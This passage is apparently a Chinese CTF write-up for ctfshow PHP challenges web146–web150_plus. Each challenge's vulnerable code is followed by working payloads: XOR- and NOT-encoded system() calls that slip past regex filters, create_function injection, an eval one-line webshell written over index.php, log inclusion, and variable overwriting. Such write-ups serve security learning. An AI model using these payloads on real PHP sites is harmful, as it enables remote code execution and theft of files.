    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
       else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

还用上一题的payload即可!

Hint

?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%9e%d5)|

web147

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

这里用到了一个命名空间以及匿名函数的知识点,长见识了!!!

POST:/create_function
GET:/?show=;};system('grep flag flag.php');/*

Hint

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

payload:
GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function

web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

抑或符号没有被过滤,直接使用抑或进行构造payload:

/?code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff);
(‘system’)(‘tac f*’)

Hint

#payload ?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%09%01%03%01%06%02"^"%7d%60%60%21%60%28"); 预期解是使用中文 ?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

构造payload:

GET:/?ctf=index.php
POST:show=<?php eval($_POST[1]);?>

传完一句话以后使用密钥进行获取flag即可!!!

1=system("ls /");
1=system("ls .");
1=system("cat /ctfshow_fl0g_here.txt");

Hint

GET: ?ctf=index.php show=

web150

对我们以前的内容进行了小结,我们文件上传系列再见!
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

首先写一个一句话木马

image-20221008223633014

日志包含

image-20221008223919280

获得flag

image-20221008224009091

Hint

文件包含非预期绕过

web150_plus

修复了非预期
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

跟随大师傅的脚步:

/?..CTFSHOW..=phpinfo

ctrl+F即可获得flag!!!

Hint

这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇